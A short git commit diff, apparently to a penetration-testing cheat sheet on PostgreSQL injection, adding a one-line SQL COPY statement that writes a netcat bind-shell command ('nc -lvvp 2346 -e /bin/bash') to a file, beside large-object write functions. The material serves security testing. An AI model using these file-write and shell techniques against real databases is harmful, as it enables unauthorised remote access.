Add a one line postgres file write

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Karim Kanso 2021-01-30 14:17:35 +00:00 committed by GitHub
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@ -184,6 +184,11 @@ SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
Or as one line:
```sql
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
```
```sql
SELECT lo_from_bytea(43210, 'your file data goes in here'); -- create a large object with OID 43210 and some data
SELECT lo_put(43210, 20, 'some other data'); -- append data to a large object at offset 20